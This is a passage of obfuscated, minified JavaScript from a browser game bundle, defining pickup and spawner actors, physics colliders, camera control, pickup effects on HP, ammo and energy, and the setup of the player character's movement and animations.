'sensorsEmitCollisionEvents': !0x0, 'collidersDesc': { 'body': _0x4c00a0['default']['ColliderDesc']['ball'](_0x1837ad['pickupConfig']['colliderRadius'])['setCollisionGroups'](_0xd97ac5)['setFriction'](_0x1837ad['pickupConfig']['friction'] ?? 0x0)['setRestitution'](_0x1837ad['pickupConfig']['restitution'] ?? 0x0)['setMass'](_0x1837ad['pickupConfig']['mass'] ?? 0x1) }, 'sensorsDesc': { 'body': _0x4c00a0['default']['ColliderDesc']['ball'](_0x1837ad['pickupConfig']['colliderRadius'])['setCollisionGroups'](_0x39e871) }, 'position': _0x1837ad['initialPosition'], 'controllers': _0xfed2dc }), _0x5f1b81 = _0x1a9191['get'](); return _0x1837ad['initialVelocity'] && _0x5f1b81['setLinvel'](_0x1837ad['initialVelocity'], !0x1), (_0x5f1b81['setTranslation'](_0x1837ad['initialPosition'], !0x1), _0x5f1b81['setGravityScale'](_0x1837ad['pickupConfig']['gravityScale'] ?? 0x1, !0x1), _0x1a9191); }(_0x2c471a), _0x5c34ce = [_0x5e259d, _0x40b210]; return _0x5c34ce['push'](...function (_0x3dffca) { const _0x21d76e = [], _0x335b39 = _0x3dffca['pickupConfig']['shaderLightConfig']; return _0x335b39 && _0x21d76e['push'](new _0x28da24['LightRenderComponent']({ 'color': _0x335b39['color'], 'intensity': _0x335b39['intensity'], 'radius': _0x335b39['radius'] })), _0x21d76e; }(_0x2c471a)), _0x5c34ce['push'](...function (_0x12f8b0) { const _0x48b58a = [], _0x1fb67a = _0x12f8b0['pickupConfig']['trailEffectConfigs']; return _0x1fb67a && _0x48b58a['push'](new _0x35de9b['EffectRenderComponent']({ 'controllers': [new _0x30d790['TrailEffectController']({ 'trailConfigs': _0x1fb67a })] })), _0x48b58a; }(_0x2c471a)), _0x5c34ce['push'](...function (_0x1d4d51) { const _0xe5215 = []; return void 0x0 !== _0x1d4d51['pickupConfig']['timeoutMS'] && _0xe5215['push'](new _0x264b28['TimeoutComponent']({ 'delayMS': _0x1d4d51['pickupConfig']['timeoutMS'], 'explosionOnTimeout': _0x1d4d51['pickupConfig']['explosionOnTimeout'], 'particlesOnTimeout': _0x1d4d51['pickupConfig']['particlesOnTimeout'], 'world': _0x1d4d51['world'] })), _0xe5215; }(_0x2c471a)), _0x5c34ce['push'](...function (_0x5a03ff) { const _0x5310d2 = [], _0x4fcbf6 = _0x5a03ff['pickupConfig']['addLightConfig']; if (_0x4fcbf6) { const _0x18a4b9 = []; _0x4fcbf6['flicker'] && _0x18a4b9['push'](new _0x391177['FlickerController']()), _0x5310d2['push'](new _0x58450d['AnimatedSpriteRenderComponent']({ 'animationName': 'fading_light/medium_white_veryshort', 'applyActionOnSprite': _0x248f5f => { _0x248f5f['setBlendMode'](Phaser['BlendModes']['ADD'])['setDepth'](_0x30e0f6['LAYER_DEPTHS']['EFFECT'])['setScale'](_0x4fcbf6['scale'])['setTint'](_0x4fcbf6['color']); }, 'controllers': _0x18a4b9 })); } return _0x5310d2; }(_0x2c471a)), _0x5c34ce['push'](...function (_0xf744a7, _0x3f4f1e) { const _0x17e2b4 = [], _0x38ec20 = {}, _0x48d0cc = () => { _0xf744a7['gameMessageBus']['publish']('pickupAction', { ..._0xf744a7['pickupConfig']['action'], 'customId': _0xf744a7['customId'] }); }; return _0xf744a7['pickupConfig']['destroyOnGround'] && (_0x38ec20[_0x330fcb['PhysicsConfig']['COLLISION_GROUPS']['GROUND']] = { 'destroy': !0x0, 'explosionName': _0xf744a7['pickupConfig']['explosionOnGround'], 'particleConfig': _0xf744a7['pickupConfig']['particlesOnGround'] }), _0xf744a7['pickupConfig']['destroyOnHit'] && (_0x38ec20[_0x3f4f1e] = { 'destroy': !0x0, 'explosionName': _0xf744a7['pickupConfig']['explosionOnHit'], 'particleConfig': _0xf744a7['pickupConfig']['particlesOnHit'], 'onCollisionFunction': _0x48d0cc }), Object['keys'](_0x38ec20)['length'] > 0x0 && _0x17e2b4['push'](new _0x1f566b['OnCollisionDestroyComponent']({ 'behaviorPerGroup': _0x38ec20, 'world': _0xf744a7['world'] })), _0x17e2b4; }(_0x2c471a, _0x330fcb['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'])), new _0x2a1f51['Actor']({ ..._0x2c471a, 'tags': [_0x3a7ec5['EActorTag']['PICKUP']], 'name': 'Pickup_' + _0x2c471a['pickupConfig']['name'], 'useForVerification': !0x0, 'model': _0x398c9d, 'components': _0x5c34ce }); }; }, 0xa59: (_0x356368, _0x33b306, _0x175e8d) => { 'use strict'; Object['defineProperty'](_0x33b306, '__esModule', { 'value': !0x0 }), _0x33b306['PickupActorDelayedActivationController'] = void 0x0; const _0x43879f = _0x175e8d(0x1520), _0x1651eb = _0x175e8d(0xb35); class _0x2ffc1b extends _0x43879f['ComponentController']{ constructor(_0x3aa552) { super(_0x3aa552); } ['init']() { this['disablePickup'](), this['gameContext']['timeProvider']['delayAction'](() => this['enablePickup'](), this['config']['delayedActivationTimeMS']); } ['disablePickup']() { this['component']['removeSensorsCollisionGroup'](_0x1651eb['PhysicsConfig']['COLLISION_GROUPS']['PLAYER']); } ['enablePickup']() { this['component']['addSensorsCollisionGroup'](_0x1651eb['PhysicsConfig']['COLLISION_GROUPS']['PLAYER']); } } _0x33b306['PickupActorDelayedActivationController'] = _0x2ffc1b; }, 0x238e: (_0x573e2b, _0x39b2e, _0x4fcf39) => { 'use strict'; Object['defineProperty'](_0x39b2e, '__esModule', { 'value': !0x0 }), _0x39b2e['createPickupSpawnerActor'] = void 0x0; const _0x51cec6 = _0x4fcf39(0x25fa), _0x1fc570 = _0x4fcf39(0xd2e), _0x1f8b43 = _0x4fcf39(0x1470), _0x4b9ce2 = _0x4fcf39(0x395), _0x31e5d7 = _0x4fcf39(0x1832), _0x1f1606 = _0x4fcf39(0x18e5), _0x248819 = { ..._0x1fc570['actorModel'] }; _0x39b2e['createPickupSpawnerActor'] = function (_0x52427c) { return new _0x51cec6['Actor']({ ..._0x52427c, 'tags': [_0x31e5d7['EActorTag']['PICKUP_SPAWNER']], 'name': 'PickupSpawner_' + _0x52427c['pickupConfigPath'], 'model': _0x248819, 'components': [new _0x1f8b43['PickupSpawnerComponent']({ ..._0x52427c, 'initialPosition': new _0x1f1606['Vector'](_0x52427c['initialPosition']['x'], _0x52427c['initialPosition']['y']) }), new _0x4b9ce2['PickupSpawnerRenderComponent']({ 'isRenderComponent': !0x0, 'color': _0x52427c['color'], 'rotation': _0x52427c['bodyConfig']['rotation'] })] }); }; }, 0x1470: (_0x1dbed7, _0x349983, _0x124a71) => { 'use strict'; Object['defineProperty'](_0x349983, '__esModule', { 'value': !0x0 }), _0x349983['PickupSpawnerComponent'] = void 0x0; const _0x1c2053 = _0x124a71(0x2414), _0x1953a8 = _0x124a71(0x2f5), _0x1ccd1d = _0x124a71(0x18e5); class _0x55e4a4 extends _0x1c2053['ActorComponent']{ constructor(_0x2d3ad8) { super(_0x2d3ad8); } ['init']() { this['store']['update']('usesLeft', this['config']['usesLeft']), this['store']['update']('usesMax', this['config']['usesMax']), this['store']['subscribe']('pickupSpawnerState', ({ oldValue: _0x5e8f5a, newValue: _0x12aa18 }) => this['onStateChange'](_0x5e8f5a, _0x12aa18)), this['gameMessageBus']['subscribe'](this, 'pickupAction', ({ customId: _0x42371d }) => this['onPickupAction'](_0x42371d)), this['gameContext']['timeProvider']['delayAction'](() => this['store']['update']('pickupSpawnerState', 'SPAWNING_PICKUP'), 0x1f4); } ['onStateChange'](_0x430911, _0x2993dd) { switch (_0x2993dd) { case 'SPAWNING_PICKUP': this['spawnPickup'](), this['store']['update']('pickupSpawnerState', 'HAS_PICKUP'); break; case 'DELAY': this['gameContext']['timeProvider']['delayAction'](() => { const _0x5c64af = this['store']['get']('usesLeft'); _0x5c64af > 0x0 && this['store']['update']('usesLeft', _0x5c64af - 0x1), this['store']['update']('pickupSpawnerState', 'SPAWNING_PICKUP'); }, 0x3e8 * this['config']['respawnRateSeconds']); } } ['spawnPickup']() { const _0x547d4e = this['gameContext']['getPickupConfig'](this['config']['pickupConfigPath']), _0xfa2fb5 = _0x1953a8['GAMEPLAY_ACTOR_MAP']['pickup']({ 'gameContext': this['gameContext'], 'gameMessageBus': this['gameMessageBus'], 'sceneMessageBus': this['sceneMessageBus'], 'initialPosition': new _0x1ccd1d['Vector'](this['config']['initialPosition']['x'], this['config']['initialPosition']['y']), 'pickupConfig': _0x547d4e, 'scene': this['scene'], 'world': this['config']['world'], 'customId': this['actor']['id'] }); this['actor']['registerActor'](_0xfa2fb5); } ['onPickupAction'](_0x5d0ce) { _0x5d0ce === this['actor']['id'] && (0x0 === this['store']['get']('usesLeft') ? this['store']['update']('pickupSpawnerState', 'EMPTY') : this['store']['update']('pickupSpawnerState', 'DELAY')); } } _0x349983['PickupSpawnerComponent'] = _0x55e4a4; }, 0x395: (_0x52d2f1, _0x1c59d, _0x3d574d) => { 'use strict'; Object['defineProperty'](_0x1c59d, '__esModule', { 'value': !0x0 }), _0x1c59d['PickupSpawnerRenderComponent'] = void 0x0; const _0x2407fa = _0x3d574d(0x2414), _0x203b0c = _0x3d574d(0x9c1), _0x2f477a = _0x3d574d(0xf18), _0x3ff9a8 = _0x3d574d(0x1b39); class _0x115c2d extends _0x2407fa['ActorComponent']{ ['pulseTween']; constructor(_0x2b6481) { super(_0x2b6481); } ['dispenserBodySprite'];['dispenserMeterSprite'];['init']() { this['dispenserBodySprite'] = this['createDispenserBody'](), this['dispenserMeterSprite'] = this['createDispenserMeter'](), this['dispenserBodySprite']['updatePosition'](this['store']['get']('renderPosition'), 0x0), this['dispenserMeterSprite']['updatePosition'](this['store']['get']('renderPosition'), 0x0), this['dispenserBodySprite']['updateRotation']?.((0x0, _0x3ff9a8['degToRad'])(this['config']['rotation'])), this['dispenserMeterSprite']['updateRotation']?.((0x0, _0x3ff9a8['degToRad'])(this['config']['rotation'])), this['store']['subscribe']('pickupSpawnerState', ({ oldValue: _0x5b13af, newValue: _0x3f6eab }) => this['onStateChange'](_0x5b13af, _0x3f6eab)), this['playUsesAnimation'](); } ['destroy']() { this['dispenserBodySprite']?.['sprite']['destroy'](), this['dispenserMeterSprite']?.['sprite']['destroy'](); } ['createDispenserBody']() { const _0x3c212c = (0x0, _0x203b0c['createSpriteFromAnimationConfig'])({ 'animation': this['gameContext']['getAnimationConfig']('dispenser/dispenser'), 'scene': this['scene'], 'gameContext': this['gameContext'] }); return _0x3c212c['sprite']['setDepth'](_0x2f477a['LAYER_DEPTHS']['BACKGROUND'] + 0.1), _0x3c212c; } ['createDispenserMeter']() { const _0x51968f = (0x0, _0x203b0c['createSpriteFromAnimationConfig'])({ 'animation': this['gameContext']['getAnimationConfig']('dispenser/uses0'), 'scene': this['scene'], 'gameContext': this['gameContext'] }); return _0x51968f['sprite']['setDepth'](_0x2f477a['LAYER_DEPTHS']['BACKGROUND'] + 0.2), _0x51968f['sprite']['setTint'](this['config']['color']), _0x51968f; } ['onStateChange'](_0x2778fe, _0x5bec12) { 'HAS_PICKUP' !== _0x2778fe && 'HAS_PICKUP' === _0x5bec12 ? (this['playUsesAnimation'](), this['stopPulseTween']()) : 'HAS_PICKUP' === _0x2778fe && 'DELAY' === _0x5bec12 ? this['startPulseTween']() : 'HAS_PICKUP' === _0x2778fe && 'EMPTY' === _0x5bec12 && this['playUsesAnimation'](); } ['playUsesAnimation'](_0x84d87a) { const _0xaf2c27 = 'dispenser/uses' + Math['min'](this['store']['get']('usesMax'), this['store']['get']('usesLeft')) + (_0x84d87a ? '_blink' : ''), _0x2dccc0 = this['gameContext']['getAnimationConfig'](_0xaf2c27); this['scene']['anims']['exists'](_0x2dccc0['animationConfig']['key']) || this['scene']['anims']['create'](_0x2dccc0['animationConfig']), this['dispenserMeterSprite']['sprite']['play'](_0x2dccc0['animationConfig']); } ['startPulseTween']() { this['stopPulseTween'](); const _0xf459c1 = 0x3e8 - Date['now']() % 0x3e8; this['scene']['time']['delayedCall'](_0xf459c1, () => { this['pulseTween'] = this['scene']['tweens']['add']({ 'targets': this['dispenserMeterSprite']['sprite'], 'alpha': 0.2, 'duration': 0x1f4, 'yoyo': !0x0, 'repeat': -0x1 }); }); } ['stopPulseTween']() { this['pulseTween']?.['stop'](), this['pulseTween'] = void 0x0, this['dispenserMeterSprite']['sprite']['setAlpha'](0x1); } } _0x1c59d['PickupSpawnerRenderComponent'] = _0x115c2d; }, 0x228: (_0x4296fe, _0x4bdc64, _0x4d0076) => { 'use strict'; Object['defineProperty'](_0x4bdc64, '__esModule', { 'value': !0x0 }), _0x4bdc64['CameraFocusController'] = void 0x0; const _0x3ede0a = _0x4d0076(0x1520); class _0x151d10 extends _0x3ede0a['ComponentController']{ constructor(_0x29027d) { super(_0x29027d); } ['update']() { this['config']['cameraOffset'] && this['gameMessageBus']['publish']('setupCameraOffset', this['config']['cameraOffset']); } ['init']() { this['gameContext']['timeProvider']['delayAction'](() => { const _0x2c9181 = this['component']['get'](); this['gameMessageBus']['publish']('pinCameraToObject', _0x2c9181); }); } } _0x4bdc64['CameraFocusController'] = _0x151d10; }, 0x25b3: (_0x5a9771, _0x3ff219, _0x3ea463) => { 'use strict'; Object['defineProperty'](_0x3ff219, '__esModule', { 'value': !0x0 }), _0x3ff219['PickupActionComponent'] = void 0x0; const _0x275db1 = _0x3ea463(0x2414); class _0x3396d1 extends _0x275db1['ActorComponent']{ ['init']() { this['gameMessageBus']['subscribe'](this, 'pickupAction', _0x23e029 => this['handlePickup'](_0x23e029)); } ['handlePickup'](_0x3eb289) { switch (_0x3eb289['type']) { case 'NONE': return; case 'HP': this['updateHp'](_0x3eb289['value']); break; case 'SKILL1': this['updateAmmo']('skill1', _0x3eb289['value']); break; case 'SKILL2': this['updateAmmo']('skill2', _0x3eb289['value']); break; case 'ENERGY': this['updateEnergy'](_0x3eb289['value']); break; default: if (_0x3eb289['type']['startsWith']('ABILITY')) return; throw new Error('Unknown\x20pickup\x20action\x20type:\x20' + _0x3eb289['type']); } } ['updateHp'](_0x290088) { const _0x1176fe = this['store']['get']('hp'); if (_0x1176fe <= 0x0) return; const _0x1f3128 = this['store']['get']('maxHp'), _0x1d532e = Math['min'](_0x1176fe + _0x290088, _0x1f3128); _0x1d532e < _0x1176fe || this['store']['update']('hp', _0x1d532e); } ['updateAmmo'](_0x4382a5, _0x41e9e1) { const _0x1dddb9 = { ...this['store']['get']('ammo') }; if (!_0x1dddb9) return; const _0x2baf5a = _0x1dddb9[_0x4382a5]['current'], _0x3e197d = _0x1dddb9[_0x4382a5]['max']; _0x1dddb9[_0x4382a5]['current'] = Math['min'](_0x2baf5a + _0x41e9e1, _0x3e197d), this['store']['update']('ammo', _0x1dddb9); } ['updateEnergy'](_0x346b09) { const _0x2432aa = { ...this['gameContext']['getFromGameStore']('runState') }, _0x47ec5d = { ..._0x2432aa['levelStates'][_0x2432aa['currentLevelIndex']] }, _0xf85912 = { ..._0x47ec5d['inventory'] }; _0xf85912['energy'] || (_0xf85912['energy'] = 0x0); const _0x47dd37 = _0xf85912['energy'] + _0x346b09; _0xf85912['energy'] = _0x47dd37, _0x47ec5d['inventory'] = _0xf85912, _0x2432aa['levelStates'][_0x2432aa['currentLevelIndex']] = _0x47ec5d, this['gameContext']['updateGameStore']('runState', _0x2432aa); } } _0x3ff219['PickupActionComponent'] = _0x3396d1; }, 0x1d65: function (_0x44fa13, _0x1748a5, _0x2eb2c3) { 'use strict'; var _0x2188c0 = this && this['__importDefault'] || function (_0x28b3b0) { return _0x28b3b0 && _0x28b3b0['__esModule'] ? _0x28b3b0 : { 'default': _0x28b3b0 }; }; Object['defineProperty'](_0x1748a5, '__esModule', { 'value': !0x0 }), _0x1748a5['createPlayerActor'] = void 0x0; const _0x34273b = _0x2188c0(_0x2eb2c3(0x9a8)), _0x2e3b39 = _0x2eb2c3(0x25fa), _0x5683bb = _0x2eb2c3(0x276), _0x544891 = _0x2eb2c3(0x942), _0x5ace39 = _0x2eb2c3(0x2dd), _0x52d34c = _0x2eb2c3(0x228), _0x188304 = _0x2eb2c3(0x1648), _0x1b86b5 = _0x2eb2c3(0xd48), _0x1e7151 = _0x2eb2c3(0xb35), _0x4a8a44 = _0x2eb2c3(0x18b9), _0x1af304 = _0x2eb2c3(0x1832), _0x184fec = _0x2eb2c3(0xa1), _0x350825 = _0x2eb2c3(0x81), _0x197b01 = _0x2eb2c3(0xa0), _0x2e9680 = _0x2eb2c3(0x56b), _0x1a7ac1 = _0x2eb2c3(0xcaa), _0x4867fd = _0x2eb2c3(0xd2e), _0x934b18 = _0x2eb2c3(0x229c), _0x514fc4 = _0x2eb2c3(0x1a57), _0x2c4d9d = _0x2eb2c3(0x13e1), _0x20aae2 = _0x2eb2c3(0x1932), _0xb2fa6a = _0x2eb2c3(0x110d), _0x57c72f = _0x2eb2c3(0x1797), _0x3c88a2 = _0x2eb2c3(0x70c), _0x3a3e91 = _0x2eb2c3(0x41), _0x300e92 = _0x2eb2c3(0x14e9), _0x1cfa85 = _0x2eb2c3(0xf18), _0x35cc4b = _0x2eb2c3(0x18c1), _0x20b85d = _0x2eb2c3(0x371), _0xadadd9 = _0x2eb2c3(0x62e), _0x10ebea = _0x2eb2c3(0x25b3), _0xcc95ae = _0x2eb2c3(0xd98), _0x9f0cb1 = _0x2eb2c3(0x2228), _0xbee359 = _0x2eb2c3(0x1d7f), _0x21933c = _0x2eb2c3(0x1b38), _0xde5e7 = _0x2eb2c3(0x12a), _0x21aad1 = _0x2eb2c3(0x19be), _0x292876 = _0x2eb2c3(0x2287), _0x278c6a = _0x2eb2c3(0xf54), _0x3aa65c = _0x2eb2c3(0x18e5), _0x7423e6 = _0x2eb2c3(0x7d1), _0x259e1a = _0x2eb2c3(0x409), _0x30edc8 = _0x2eb2c3(0x256), _0x17fa90 = _0x2eb2c3(0x2280), _0x220fb5 = _0x2eb2c3(0x1805), _0x3ad1e0 = _0x2eb2c3(0xccf), _0x4407d6 = _0x2eb2c3(0x21ac), _0x47aa6c = _0x2eb2c3(0xe98), _0x38fdac = _0x2eb2c3(0x1013), _0xc3321a = _0x2eb2c3(0x1006), _0x63d171 = _0x2eb2c3(0x2420), _0x3efacc = _0x2eb2c3(0x9c7), _0x54749a = _0x2eb2c3(0x254a), _0x53be21 = { ..._0x4867fd['actorModel'], ..._0x934b18['damageModel'], ..._0x20aae2['sensorModel'], ..._0x2c4d9d['movementModel'], ..._0x514fc4['weaponModel'], ..._0xb2fa6a['playerMovementModel'], ..._0x35cc4b['lightModel'], ..._0x21933c['actionControlModel'], ..._0x220fb5['playerActorModel'] }, _0xe1a201 = 0x1, _0x35cfca = 0x2; function _0x3ee137(_0x3b18bb, _0x13011a) { const _0x38a37d = [_0x1af304['EActorTag']['GROUND'], _0x1af304['EActorTag']['ENEMY']], _0x2f2e86 = [new _0x1b86b5['PlayerMovementController']({ 'characterController': _0x13011a, 'maxDashCount': _0xe1a201, 'maxJumpCount': _0x35cfca, 'enableDashThroughProjectiles': !0x0, 'groundTags': _0x38a37d }), new _0x3ad1e0['PlayerAutomatedMovementController']({ 'characterController': _0x13011a }), new _0x5ace39['RigidBodySensorController']({ 'groundTags': _0x38a37d }), new _0x350825['WeaponRecoilController'](), new _0xadadd9['PlayerAirFrictionController']({ 'maxVelocity': 0x41, 'airFriction': 0.99 }), new _0x17fa90['PlayerUnstuckController'](), new _0x259e1a['RigidBodyTeleportController']()]; return new _0x544891['RigidBodyComponent']({ 'world': _0x3b18bb['world'], 'bodyDesc': _0x34273b['default']['RigidBodyDesc']['dynamic']()['lockRotations']()['setCcdEnabled'](!0x0), 'useRotation': !0x0, 'collidersDesc': { 'body': _0x34273b['default']['ColliderDesc']['capsule'](1.55, 0.9)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['ENEMY_PROJECTILE'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER_PROJECTILE'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PICKUP'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'])['setSolverGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'])['setRestitution'](-0x1)['setFriction'](0.8)['setMass'](0x5) }, 'sensorsDesc': { [_0x20aae2['ESensorName']['CENTER']]: _0x34273b['default']['ColliderDesc']['capsule'](2.15, 0.9)['setTranslation'](0x0, -0.5)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['OTHER']), [_0x20aae2['ESensorName']['STUCK_DETECTOR']]: _0x34273b['default']['ColliderDesc']['capsule'](1.45, 0.8)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['OTHER']), [_0x20aae2['ESensorName']['LEFT']]: _0x34273b['default']['ColliderDesc']['cuboid'](0.65, 1.45)['setTranslation'](-0.5, 0x0)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND']), [_0x20aae2['ESensorName']['RIGHT']]: _0x34273b['default']['ColliderDesc']['cuboid'](0.65, 1.45)['setTranslation'](0.5, 0x0)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND']), [_0x20aae2['ESensorName']['GROUND_BOTTOM']]: _0x34273b['default']['ColliderDesc']['ball'](0.25)['setTranslation'](0x0, 2.75)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['ENEMY'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['OTHER']), [_0x20aae2['ESensorName']['GROUND_LEFT']]: _0x34273b['default']['ColliderDesc']['ball'](0.25)['setTranslation'](-0.5, 2.75)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']), [_0x20aae2['ESensorName']['GROUND_RIGHT']]: _0x34273b['default']['ColliderDesc']['ball'](0.25)['setTranslation'](0.5, 2.75)['setCollisionGroups'](_0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['PLAYER'] << 0x10 | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['GROUND'] | _0x1e7151['PhysicsConfig']['COLLISION_GROUPS']['ENEMY']) }, 'position': _0x3b18bb['initialPosition'], 'controllers': _0x2f2e86 }); } _0x1748a5['createPlayerActor'] = function (_0x5ce1fa) { const _0x5ddad2 = { 'default': { 'distanceFromCenter': 0x2, 'directionOffset': 0x32, 'directionType': 'ABSOLUTE', 'directionUsesFacingDirection': !0x0 }, 'sidewaysFar': { 'distanceFromCenter': 0x6, 'directionOffset': 0x4b, 'directionType': 'ABSOLUTE', 'directionUsesFacingDirection': !0x0 }, 'basic': { 'distanceFromCenter': 4.25, 'directionOffset': 0x41, 'directionType': 'ABSOLUTE', 'directionUsesFacingDirection': !0x0 }, 'basic2': { 'distanceFromCenter': 5.25, 'directionOffset': 0x41, 'directionType': 'ABSOLUTE', 'directionUsesFacingDirection': !0x0 }, 'up': { 'distanceFromCenter': 0x3, 'directionOffset': 0x0, 'directionType': 'ABSOLUTE', 'directionUsesFacingDirection': !0x0 }, 'down': { 'distanceFromCenter': 0x2, 'directionOffset': 0xb4, 'directionType': 'ABSOLUTE', 'directionUsesFacingDirection': !0x0 } }, _0x1e74fe = { ..._0x5ce1fa['gameContext']['getFromGameStore']('runState') }, _0x34197b = _0x5ce1fa['scene']['getFromStore']('isTutorial'), _0x6b4d8c = function (_0x4c50e9) { const _0x11258e = 0.01, _0x3dfa99 = _0x4c50e9['createCharacterController'](_0x11258e); return _0x3dfa99['setApplyImpulsesToDynamicBodies'](!0x0), _0x3dfa99; }(_0x5ce1fa['world']), _0x4bda81 = [new _0xcc95ae['PlayerUiComponent'](), new _0x9f0cb1['AnimatedSpriteRenderComponent']({ 'animationName': ['character1/basic_attack1', 'character1/basic_attack2', 'character1/basic_attack3', 'character1/basic_attack_downstrike', 'character1/basic_attack_downstrike_slow', 'character1/basic_attack_upstrike', 'character1/basic_attack_upstrike_grounded', 'character1/dash_attack', 'character1/dash', 'character1/dead', 'character1/respawn', 'character1/double_jump', 'character1/fall_start', 'character1/fall_loop', 'character1/hurt', 'character1/idle', 'character1/jump_start', 'character1/jump_loop', 'character1/landing', 'character1/run', 'character1/special_air_attack', 'character1/special_air_attack_short', 'character1/special_air_charge_start', 'character1/special_air_charge_loop', 'character1/special_ground_attack', 'character1/special_ground_attack_short', 'character1/special_ground_charge_start', 'character1/special_ground_charge_loop', 'character1/stun', 'character1/none'], 'affectedByLight': !0x0, 'controllers': [new _0x278c6a['AnimatedSpriteEventController']({ 'explosionConfigs': { 'character1/run': 'movement_effect/footstep_character' }, 'soundConfigs': { 'character1/run': { 'request': { 'config': { 'name': 'characterFootstep' } }, 'attachToActor': !0x0 } } }), new _0x52d34c['CameraFocusController']({ 'disabledOnBackend': !0x0, 'cameraOffset': new _0x3aa65c['Vector'](0x0, 0xfa) }), new _0xbee359['PlayerSpritesheetAnimationController']({ 'disabledOnBackend': !0x0, 'animationMap': { 'dead': 'character1/dead', 'respawn': 'character1/respawn', 'stun': 'character1/stun', 'dash': 'character1/dash', 'idle': 'character1/idle', 'run': 'character1/run', 'jump': 'character1/jump_start', 'doubleJump': 'character1/double_jump', 'fall': 'character1/fall_start', 'landing': 'character1/landing' }, 'noAnimationName': 'character1/none' }), new _0x21aad1['PlayerSpritesheetAnimationWeaponController']({ 'disabledOnBackend': !0x0, 'animationMap': { 'basicAttack1': 'character1/basic_attack1', 'basicAttack2': 'character1/basic_attack2', 'basicAttack3': 'character1/basic_attack3', 'groundSpecialAttack1NoEffect': 'character1/special_ground_attack', 'airSpecialAttack1NoEffect': 'character1/special_air_attack', 'groundSpecialAttack1ShortNoEffect': 'character1/special_ground_attack_short', 'airSpecialAttack1ShortNoEffect': 'character1/special_air_attack_short', 'basicAttackDownstrike': 'character1/basic_attack_downstrike', 'basicAttackDownstrikeNoEffect': 'character1/basic_attack_downstrike_slow', 'basicAttackUpstrike': 'character1/basic_attack_upstrike', 'basicAttackUpstrikeNoEffect': 'character1/basic_attack_upstrike', 'basicAttackUpstrikeGrounded': 'character1/basic_attack_upstrike_grounded', 'basicAttackUpstrikeGroundedNoEffect': 'character1/basic_attack_upstrike_grounded', 'dashAttack': 'character1/dash_attack' }, 'noAnimationName': 'character1/none' }), new _0x30edc8['PlayerSpritesheetAnimationLifeController']({ 'disabledOnBackend': !0x0, 'appearanceMethod': _0x5ce1fa['appearanceMethod'], 'appearanceDurationMS': _0x5ce1fa['appearanceDurationMS'], 'animationMap': { 'dead': 'character1/dead', 'respawn': 'character1/respawn' }, 'noAnimationName': 'character1/none' })], 'applyActionOnSprite'(_0x2d8476) { _0x2d8476['setDepth'](_0x1cfa85['LAYER_DEPTHS']['PLAYER']); } }), new _0x9f0cb1['AnimatedSpriteRenderComponent']({ 'animationName': ['character1_fx/dead', 'character1_fx/respawn', 'character1_fx/none', 'character1_fx/basic_attack1', 'character1_fx/basic_attack2', 'character1_fx/basic_attack3', 'character1_fx/dash_attack', 'character1_fx/basic_attack_downstrike', 'character1_fx/basic_attack_upstrike', 'character1_fx/basic_attack_upstrike_grounded', 'character1_fx/special_air_attack', 'character1_fx/special_air_charge_start', 'character1_fx/special_air_charge_loop', 'character1_fx/special_ground_charge_start', 'character1_fx/special_ground_charge_loop'], 'hideIfNotPlaying': !0x0, 'controllers': [new _0x21aad1['PlayerSpritesheetAnimationWeaponController']({ 'disabledOnBackend': !0x0, 'animationMap': { 'basicAttack1': 'character1_fx/basic_attack1', 'basicAttack2': 'character1_fx/basic_attack2', 'basicAttack3': 'character1_fx/basic_attack3', 'groundSpecialAttack1NoEffect': 'character1_fx/none', 'airSpecialAttack1NoEffect': 'character1_fx/none', 'groundSpecialAttack1ShortNoEffect': 'character1_fx/none', 'airSpecialAttack1ShortNoEffect': 'character1_fx/none', 'basicAttackDownstrike': 'character1_fx/basic_attack_downstrike', 'basicAttackDownstrikeNoEffect': 'character1_fx/none', 'basicAttackUpstrike': 'character1_fx/basic_attack_upstrike', 'basicAttackUpstrikeNoEffect': 'character1_fx/none', 'basicAttackUpstrikeGrounded': 'character1_fx/basic_attack_upstrike_grounded', 'basicAttackUpstrikeGroundedNoEffect': 'character1_fx/none', 'dashAttack': 'character1_fx/dash_attack' }, 'noAnimationName': 'character1_fx/none' }), new _0x30edc8['PlayerSpritesheetAnimationLifeController']({ 'disabledOnBackend': !0x0, 'appearanceMethod': _0x5ce1fa['appearanceMethod'], 'appearanceDurationMS': _0x5ce1fa['appearanceDurationMS'], 'animationMap': { 'dead': 'character1_fx/dead', 'respawn': 